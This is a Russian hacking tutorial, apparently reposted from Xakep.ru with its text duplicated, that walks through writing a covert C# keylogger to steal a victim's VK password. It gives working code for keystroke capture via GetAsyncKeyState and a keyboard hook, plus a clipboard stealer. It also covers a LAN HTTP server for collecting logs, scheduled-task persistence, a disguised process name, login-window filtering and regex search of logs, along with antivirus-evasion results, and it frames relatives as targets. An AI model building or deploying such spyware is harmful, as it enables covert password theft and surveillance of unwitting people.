Кейлоггер по-домашнему. Пишем на C# кейлоггер, который не палится антивирусами
Боевые кейлоггеры с кучей функций и защитой от детекта могут стоить десятки, если не сотни долларов. Но кейлоггер не такая уж сложная штука, и при желании ты можешь сделать собственный и даже избежать детекта антивирусами. В этой статье я покажу, как это делается, а заодно поупражняемся в разработке программ на C#.
Ставим задачу
Мудрить не будем и ограничимся необходимым минимумом. Предположим, мы хотим заполучить пароль жертвы от ВК и мы можем ненадолго получить физический доступ к компьютеру. При этом:
Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinAPI, другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.
Теория
Когда ты нажимаешь на кнопку, операционка посылает уведомления тем программам, которые хотят об этом узнать. Поэтому самый простой способ перехватить ввод с клавиатуры — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее. Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будем записывать в файл.
Пишем код
Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь юзера мы договорились не беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляй автоматически созданный файл Form1.cs со всеми потрохами и открывай Program.cs.
Заглушка Main
Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main() на static void Main(String[] args). Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.
Теперь добавим using System.IO; для работы с файлами, System.Runtime.InteropServices для работы с WinAPI и System.Threading для приостановки потока. Если ты не хочешь писать костыльный вариант, лучше пропусти этот раздел и сразу переходи к следующему.
Импортируем GetAsyncKeyState из user32.dll:
И добавляем собственно логирование нажатий, собирая их по десять штук, чтобы не делать слишком много дисковых операций:
Расшифровывать такой лог будет неудобно
Выглядит не очень красиво, а про читабельность вообще можно забыть. Во-первых, наш код тянет ввод не только с клавиатуры, но и с мыши (всякие LButton и RButton). Поэтому давай не будем записывать нажатие, если это не символьная клавиша. Заменим содержимое if в цикле на это:
После такого редактирования лог стал намного чище (см. рисунок).
Выглядит уже аккуратнее
Так уже намного лучше! Теперь нужно добавить обработку кнопок Shift и Caps Lock. Добавим в начале цикла следующий код:
Теперь у нас есть переменная, которая показывает, нужно ли нам оставить букву большой. Проверяем ее и складываем символы в буфер.
Следующая проблема — это сообщения вида <Oemcomma>, <ShiftKey>, <Capital> и другие подобные. Они значительно усложняют чтение лога, так что придется это исправлять. Например, <Oemcomma> — это обычная человеческая запятая, а <Capital> — не что иное, как Caps Lock. Немного потестировав логгер на своем компьютере, я собрал достаточно материала, чтобы привести лог в порядок. Например, некоторые символы можно сразу заменить.
А вот вещи вроде <ShiftKey> побороть сложнее. У шифта, кстати, есть два разных варианта — правый и левый. Убираем все это, ведь состояние заглавных букв мы уже получили.
Погоняв логгер некоторое время, обнаруживаем и другие кнопки, которые нужно обрабатывать по-особому:
Смотрим, что скажет антивирус…
Реакция антивируса при принудительном сканировании
Реакция при запуске (позже говорит, что все ок)
Загружаем образец на VirusTotal, чтобы проверить на остальных. Результат: только 8 из 70 антивирусов что-то подозревают.
Красивый вариант
Теперь попробуем сделать более правильно и будем перехватывать сообщения о нажатии клавиш на клавиатуре. Первые шаги те же: создаем проект Windows Forms и придумываем неприметное название (например, WindowsPrintService). В заглушке, которую нам создала Visual Studio, меняем void Main() на void Main(String[] args). Теперь сделаем простую проверку аргументов:
Дальше довольно много кода, не буду приводить его весь. Там есть флаги Caps Lock, Shift и прочее, а нажатия определяются гигантским Switch. Но показать я хочу не это, а установку хука на клавиатуру.
Устанавливаем хук на клавиатуру
Сначала мы помещаем ссылку на нашу функцию в переменную callback, потом получаем handle нашей программы, затем устанавливаем хук. А дальше вечно обрабатываем получаемые сообщения каждые 5 мс (PeekMessageA). Важный момент — объявление callback-функции, которая должна точно соответствовать WinAPI, а также передача управления нижележащим обработчикам (см. ниже).
А тут мы передаем управление дальше по цепочке хуков:
Листинг callback-функции
На этом скрине виден код нашей callback-функции с некоторыми сокращениями (не уместился разбор нажатия клавиш). Обрати внимание на упомянутый выше вызов CallNextHookEx, который нужен, чтобы не только мы получали сообщения о нажатиях клавиш.
Switch, который разбирает Shift + цифровая клавиша
На этом скриншоте видна обработка нажатий цифровых клавиш с зажатым шифтом, а на следующем — ситуация с Caps Lock и Shift.
Определяем регистр введенного символа
Клиппер
Клиппер — это программа, предназначенная для похищения данных из буфера обмена (название — от слова clipboard). Пригодиться это может, например, на случай, если жертва использует парольный менеджер и копирует пароли оттуда.
Создадим новую форму Windows, удалим файлы <ИмяФормы>.Designer.cs и <ИмяФормы>.resx. Теперь перейдем в режим редактирования, нажав F7, и приступим к написанию кода. Добавим using System.Runtime.InteropServices и импортируем WinAPI (на скриншоте — в отдельном классе).
Класс, импортирующий методы WinAPI
В конструктор формы вставляем следующий код:
Первый вызов сделает наше окно способным к восприятию системных сообщений, а второй назначит обработчик поступающих сообщений.
Теперь объявим переменную типа String и назовем ее lastWindow. Теперь мы переназначим стандартную функцию обработки сообщений (void WndProc(ref Message m)):
Для работы этого кода я взял уже готовый класс, который можно просто добавить в проект и не заморачиваться с созданием оберток вокруг WinAPI. Взять его можно на Pastebin.
Запустить клиппер несложно: добавляем ссылку на сборку System.Windows.Forms.dll, добавим using для System.Windows.Forms и System.Threading и добавим в метод запуска логгера следующие строки:
Просто? Вот именно. Только добавлять этот вызов нужно после назначения обработчика для Trace, иначе весь вывод улетит в неизвестные дали.
WWW
Собираем логи
Следующее, что нам нужно, — это забирать лог удаленно. Поскольку мы не собираемся заниматься промышленным шпионажем, а лишь хотим поглядывать, что делает кто-то из родственников или знакомых, то можно для начала ограничиться доступом из локальной сети. Для этого будет достаточно встроить в наш проект минималистичный сервер HTTP. Вот подходящий исходник, а вот доработанная мной версия.
Использование тоже весьма примитивное: достаточно создать объект нашего сервера, и он автоматически займет адреса localhost:34000 и <InternalIP>:34000 под HTTP и на этих же адресах порт 34001. Сервер будет возвращать список файлов и папок в виде списка или содержимое файла, если запрошен файл.
В конструктор нужно передать путь к папке, в которую пишутся логи (или любой другой, которая может понадобиться). По умолчанию логи пишутся в текущую папку, значит, в конструктор передаем Environment.CurrentDirectory.
WWW
Чтобы автоматизировать добавление нашей программы в белый список файрвола, ты можешь воспользоваться Windows Firewall API. В этом тебе помогут библиотеки-обертки FirewallManager, WindowsFirewallHelper и YFW.Net.
Автозапуск
Есть много способов попасть в автозагрузку: тут и папка «Автозагрузка», и куча мест в реестре, и установка своего драйвера, и создание службы… Однако реестр и драйверы отслеживаются любым приличным антивирусом, а создание службы слишком кривой вариант, который может сломаться в любой момент, хотя на крайний случай неплохо.
Мы же просто создадим задачу в планировщике заданий и попросим его запускать наш логгер с нужными параметрами при каждом входе юзера в систему. Для работы с планировщиком заданий берем пакет Microsoft.Win32.TaskScheduler из NuGet. Код для работы с ним я выложил на Pastebin. Не забудь поправить путь, на который ссылается запись в планировщике.
Алгоритм действий логгера при запуске я показал на картинке.
Алгоритм действий
Реакция антивирусов
Проверка более красивого варианта на VirusTotal показывает, что его обнаруживает большее число антивирусов, чем раньше, — 15 из 70. Однако среди оставшихся — почти все популярные у нас домашние антивирусы. В общем, главное — не нарваться на «Авиру» или NOD32.
Проверяем заголовок окна
Если наша предполагаемая жертва сразу после входа в систему пошла логиниться в ВК, то, считай, повезло. Но что, если вместо этого она села играть в CS:GO? Пароль придется вытаскивать из тонн символов W, A, S, D и пробелов, а с «костыльным» вариантом это еще сложнее. Поэтому давай прокачаем наш логгер: будем записывать сигналы клавиатуры только тогда, когда активно окно браузера с формой входа. Для этого вернемся к WinAPI, а конкретно к функции GetForegroundWindow.
Импорт WinAPI
В импорте видна еще одна функция, которая нам понадобится: GetWindowText. Она нужна, чтобы по хендлу окна получить его заголовок. Алгоритм действий тут тоже предельно понятен: сначала получаем заголовок активного окна, затем проверяем, нужно ли включать логгер, и включаем его (или выключаем). Реализация этой схемы:
Ищем по логу
Теперь давай предположим, что лог все равно вырос до угрожающих размеров и нам нужно вытащить из него, например, номер телефона, чтобы знать, с какого места искать пароль. Для этого лучше всего подойдут регулярные выражения, в C# они предоставлены классом Regex.
По понятным причинам логи мы будем анализировать на своей машине, так что сделаем отдельную программу. Чтобы использовать регулярки, добавим using System.Text.RegularExpressions и сделаем метод, который принимает на вход путь к файлу лога, а на консоль выводит все найденные телефонные номера.
Пароль будет идти следом за номером телефона.
Если пароль сохранен в браузере, то тут наш кейлоггер бессилен. Однако недавно была статья, посвященная написанию стилера, так что переписываем то же самое на C# и радуемся.
Итоги
Итак, мы убедились в том, что создать кейлоггер — не проблема. Более того, наш самописный шпион со всеми его ограничениями имеет важное преимущество: антивирусам заранее неизвестно о его существовании, а по функциям его определяют далеко не все из них. Конечно, дальше можно многое дорабатывать. Например, добавить возможность доступа через интернет, научить кейлоггер работать с разными клавиатурными раскладками, добавить снятие скриншотов и другие фичи. Моей же целью в этой статье было показать, насколько просто сделать такую программу, и вдохновить тебя на будущие подвиги. Надеюсь, у меня получилось!
Автор: Hackcat
взято с хакер.ру
Боевые кейлоггеры с кучей функций и защитой от детекта могут стоить десятки, если не сотни долларов. Но кейлоггер не такая уж сложная штука, и при желании ты можешь сделать собственный и даже избежать детекта антивирусами. В этой статье я покажу, как это делается, а заодно поупражняемся в разработке программ на C#.
Ставим задачу
Мудрить не будем и ограничимся необходимым минимумом. Предположим, мы хотим заполучить пароль жертвы от ВК и мы можем ненадолго получить физический доступ к компьютеру. При этом:
- мы не беспокоим жертву лишними окнами, иконками в таскбаре, сообщениями об ошибках и подобным;
- мы имеем доступ к целевому компьютеру только однократно и на очень короткий срок;
- мы сможем забирать логи, находясь в той же локальной сети;
- антивирус должен молчать;
- файрвол не учитываем и предполагаем, что мы дадим ему разрешение вручную при подсадке кейлоггера;
- мы не будем пытаться скрывать процесс и только дадим ему неприметное название.
Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinAPI, другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.
Теория
Когда ты нажимаешь на кнопку, операционка посылает уведомления тем программам, которые хотят об этом узнать. Поэтому самый простой способ перехватить ввод с клавиатуры — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее. Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будем записывать в файл.
Пишем код
Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь юзера мы договорились не беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляй автоматически созданный файл Form1.cs со всеми потрохами и открывай Program.cs.
Заглушка Main
Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main() на static void Main(String[] args). Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.
Теперь добавим using System.IO; для работы с файлами, System.Runtime.InteropServices для работы с WinAPI и System.Threading для приостановки потока. Если ты не хочешь писать костыльный вариант, лучше пропусти этот раздел и сразу переходи к следующему.
Импортируем GetAsyncKeyState из user32.dll:
Код:
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
C:
while (true)
{
Thread.Sleep(100);
for (int i = 0; i < 255; i++)
{
int state = GetAsyncKeyState(i);
if (state != 0)
{
buf += ((Keys)i).ToString();
if (buf.Length > 10)
{
File.AppendAllText("keylogger.log", buf);
buf = "";
}
}
}
}
Расшифровывать такой лог будет неудобно
Выглядит не очень красиво, а про читабельность вообще можно забыть. Во-первых, наш код тянет ввод не только с клавиатуры, но и с мыши (всякие LButton и RButton). Поэтому давай не будем записывать нажатие, если это не символьная клавиша. Заменим содержимое if в цикле на это:
C:
// Усовершенствованная проверка введенных символов //
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
if (((Keys)i) == Keys.LButton ||((Keys)i) == Keys.RButton ||((Keys)i) == Keys.MButton) continue;
if (((Keys)i).ToString().Length == 1)
{
buf += ((Keys)i).ToString();
}
else
{
buf += $"<{((Keys)i).ToString()}>";
}
if (buf.Length > 10)
{ File.AppendAllText("keylogger.log", buf);
buf = "";
}
Выглядит уже аккуратнее
Так уже намного лучше! Теперь нужно добавить обработку кнопок Shift и Caps Lock. Добавим в начале цикла следующий код:
C:
// Еще более усовершенствованная проверка //
bool shift = false;
short shiftState = (short)GetAsyncKeyState(16);
// Keys.ShiftKey не работает, поэтому я подставил его числовой эквивалент
if ((shiftState & 0x8000) == 0x8000)
{
shift = true;
}
var caps = Console.CapsLock;
bool isBig = shift | caps;
Следующая проблема — это сообщения вида <Oemcomma>, <ShiftKey>, <Capital> и другие подобные. Они значительно усложняют чтение лога, так что придется это исправлять. Например, <Oemcomma> — это обычная человеческая запятая, а <Capital> — не что иное, как Caps Lock. Немного потестировав логгер на своем компьютере, я собрал достаточно материала, чтобы привести лог в порядок. Например, некоторые символы можно сразу заменить.
C:
// Проверка на пробел и Enter //
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
Код:
if (((Keys)i).ToString().Contains("Shift") || ((Keys)i) == Keys.Capital) { continue; }
- Num Lock;
- функциональные клавиши;
- Print Screen;
- Page Up и Page Down;
- Scroll Lock;
- сочетание Shift + цифровая клавиша;
- Tab;
- Home и End;
- Пуск;
- Alt;
- клавиши со стрелками.
Смотрим, что скажет антивирус…
Реакция антивируса при принудительном сканировании
Реакция при запуске (позже говорит, что все ок)
Загружаем образец на VirusTotal, чтобы проверить на остальных. Результат: только 8 из 70 антивирусов что-то подозревают.
Красивый вариант
Теперь попробуем сделать более правильно и будем перехватывать сообщения о нажатии клавиш на клавиатуре. Первые шаги те же: создаем проект Windows Forms и придумываем неприметное название (например, WindowsPrintService). В заглушке, которую нам создала Visual Studio, меняем void Main() на void Main(String[] args). Теперь сделаем простую проверку аргументов:
C:
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (args != null && args.Length > 0)
{
if (args[0] == "-i") {}
// Здесь проверки по аналогии с предыдущей строкой
}
else
{
// Запущено без параметров
}
Устанавливаем хук на клавиатуру
Сначала мы помещаем ссылку на нашу функцию в переменную callback, потом получаем handle нашей программы, затем устанавливаем хук. А дальше вечно обрабатываем получаемые сообщения каждые 5 мс (PeekMessageA). Важный момент — объявление callback-функции, которая должна точно соответствовать WinAPI, а также передача управления нижележащим обработчикам (см. ниже).
Код:
private static IntPtr CallbackFunction(Int32 code, IntPtr wParam, IntPtr lParam)
Код:
return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)
Листинг callback-функции
На этом скрине виден код нашей callback-функции с некоторыми сокращениями (не уместился разбор нажатия клавиш). Обрати внимание на упомянутый выше вызов CallNextHookEx, который нужен, чтобы не только мы получали сообщения о нажатиях клавиш.
Switch, который разбирает Shift + цифровая клавиша
На этом скриншоте видна обработка нажатий цифровых клавиш с зажатым шифтом, а на следующем — ситуация с Caps Lock и Shift.
Определяем регистр введенного символа
Клиппер
Клиппер — это программа, предназначенная для похищения данных из буфера обмена (название — от слова clipboard). Пригодиться это может, например, на случай, если жертва использует парольный менеджер и копирует пароли оттуда.
Создадим новую форму Windows, удалим файлы <ИмяФормы>.Designer.cs и <ИмяФормы>.resx. Теперь перейдем в режим редактирования, нажав F7, и приступим к написанию кода. Добавим using System.Runtime.InteropServices и импортируем WinAPI (на скриншоте — в отдельном классе).
Класс, импортирующий методы WinAPI
В конструктор формы вставляем следующий код:
Код:
NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
NativeMethods.AddClipboardFormatListener(Handle);
Теперь объявим переменную типа String и назовем ее lastWindow. Теперь мы переназначим стандартную функцию обработки сообщений (void WndProc(ref Message m)):
C:
protected override void WndProc(ref Message m)
{
if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
{
// Получаем handle активного окна
IntPtr active_window = NativeMethods.GetForegroundWindow();
// Получаем заголовок этого окна
int length = NativeMethods.GetWindowTextLength(active_window);
StringBuilder sb = new StringBuilder(length + 1);
NativeMethods.GetWindowText(active_window, sb, sb.Capacity);
Trace.WriteLine("");
// Сохраняем содержимое буфера обмена в лог
Trace.WriteLine("\t[Сtrl-C] Clipboard Copied: " + Clipboard.GetText());
}
// Вызываем старый обработчик
base.WndProc(ref m);
}
Запустить клиппер несложно: добавляем ссылку на сборку System.Windows.Forms.dll, добавим using для System.Windows.Forms и System.Threading и добавим в метод запуска логгера следующие строки:
C:
Thread clipboardT = new Thread(new ThreadStart(
delegate {
Application.Run(new ClipboardMonitorForm());
}));
clipboardT.Start();
WWW
- Полный код метода запуска логгеров (кейлоггер + клиппер)
- Все необходимое для запуска, кроме кода клиппера, который я привел здесь
Собираем логи
Следующее, что нам нужно, — это забирать лог удаленно. Поскольку мы не собираемся заниматься промышленным шпионажем, а лишь хотим поглядывать, что делает кто-то из родственников или знакомых, то можно для начала ограничиться доступом из локальной сети. Для этого будет достаточно встроить в наш проект минималистичный сервер HTTP. Вот подходящий исходник, а вот доработанная мной версия.
Использование тоже весьма примитивное: достаточно создать объект нашего сервера, и он автоматически займет адреса localhost:34000 и <InternalIP>:34000 под HTTP и на этих же адресах порт 34001. Сервер будет возвращать список файлов и папок в виде списка или содержимое файла, если запрошен файл.
В конструктор нужно передать путь к папке, в которую пишутся логи (или любой другой, которая может понадобиться). По умолчанию логи пишутся в текущую папку, значит, в конструктор передаем Environment.CurrentDirectory.
WWW
Чтобы автоматизировать добавление нашей программы в белый список файрвола, ты можешь воспользоваться Windows Firewall API. В этом тебе помогут библиотеки-обертки FirewallManager, WindowsFirewallHelper и YFW.Net.
Автозапуск
Есть много способов попасть в автозагрузку: тут и папка «Автозагрузка», и куча мест в реестре, и установка своего драйвера, и создание службы… Однако реестр и драйверы отслеживаются любым приличным антивирусом, а создание службы слишком кривой вариант, который может сломаться в любой момент, хотя на крайний случай неплохо.
Мы же просто создадим задачу в планировщике заданий и попросим его запускать наш логгер с нужными параметрами при каждом входе юзера в систему. Для работы с планировщиком заданий берем пакет Microsoft.Win32.TaskScheduler из NuGet. Код для работы с ним я выложил на Pastebin. Не забудь поправить путь, на который ссылается запись в планировщике.
Алгоритм действий логгера при запуске я показал на картинке.
Алгоритм действий
Реакция антивирусов
Проверка более красивого варианта на VirusTotal показывает, что его обнаруживает большее число антивирусов, чем раньше, — 15 из 70. Однако среди оставшихся — почти все популярные у нас домашние антивирусы. В общем, главное — не нарваться на «Авиру» или NOD32.
Проверяем заголовок окна
Если наша предполагаемая жертва сразу после входа в систему пошла логиниться в ВК, то, считай, повезло. Но что, если вместо этого она села играть в CS:GO? Пароль придется вытаскивать из тонн символов W, A, S, D и пробелов, а с «костыльным» вариантом это еще сложнее. Поэтому давай прокачаем наш логгер: будем записывать сигналы клавиатуры только тогда, когда активно окно браузера с формой входа. Для этого вернемся к WinAPI, а конкретно к функции GetForegroundWindow.
Импорт WinAPI
В импорте видна еще одна функция, которая нам понадобится: GetWindowText. Она нужна, чтобы по хендлу окна получить его заголовок. Алгоритм действий тут тоже предельно понятен: сначала получаем заголовок активного окна, затем проверяем, нужно ли включать логгер, и включаем его (или выключаем). Реализация этой схемы:
- Создадим функцию IsForegroundWindowInteresting. Ее код будет таким:
C:bool IsForegroundWindowInteresting(String s) { IntPtr _hwnd = GetForegroundWindow(); StringBuilder sb = new StringBuilder(256); GetWindowText(_hwnd, sb, sb.Capacity); if (sb.ToString().ToUpperInvariant().Contains(s.ToUpperInvariant())) return true; return false; }
- В самом начале нашей функции CallbackFunction вставляем
C:if (IsForegroundWindowInteresting("Welcome! | VK") || IsForegroundWindowInteresting("Добро пожаловать | ВКонтакте")) { return CallNextHookEx(IntPtr.Zero, code, wParam, lParam); }
Ищем по логу
Теперь давай предположим, что лог все равно вырос до угрожающих размеров и нам нужно вытащить из него, например, номер телефона, чтобы знать, с какого места искать пароль. Для этого лучше всего подойдут регулярные выражения, в C# они предоставлены классом Regex.
По понятным причинам логи мы будем анализировать на своей машине, так что сделаем отдельную программу. Чтобы использовать регулярки, добавим using System.Text.RegularExpressions и сделаем метод, который принимает на вход путь к файлу лога, а на консоль выводит все найденные телефонные номера.
C:
public void FindTelephoneNmbers(String path)
{
String _file = System.IO.File.ReadAllText(path);
String _regex = @"((\+38|8|\+3|\+ )[ ]?)?([(]?\d{3}[)]?[\- ]?)?(\d[ -]?){6,14}";
Regex _regexobj = new Regex(_regex);
MatchCollection matches = _regexobj.Matches(_file);
if (matches.Count > 0)
{
foreach (Match match in matches)
{
Console.WriteLine($"Match found: \"{match.Value}\"");
}
}
else
{
Console.WriteLine("No matches found.");
}
}
Если пароль сохранен в браузере, то тут наш кейлоггер бессилен. Однако недавно была статья, посвященная написанию стилера, так что переписываем то же самое на C# и радуемся.
Итоги
Итак, мы убедились в том, что создать кейлоггер — не проблема. Более того, наш самописный шпион со всеми его ограничениями имеет важное преимущество: антивирусам заранее неизвестно о его существовании, а по функциям его определяют далеко не все из них. Конечно, дальше можно многое дорабатывать. Например, добавить возможность доступа через интернет, научить кейлоггер работать с разными клавиатурными раскладками, добавить снятие скриншотов и другие фичи. Моей же целью в этой статье было показать, насколько просто сделать такую программу, и вдохновить тебя на будущие подвиги. Надеюсь, у меня получилось!
Автор: Hackcat
взято с хакер.ру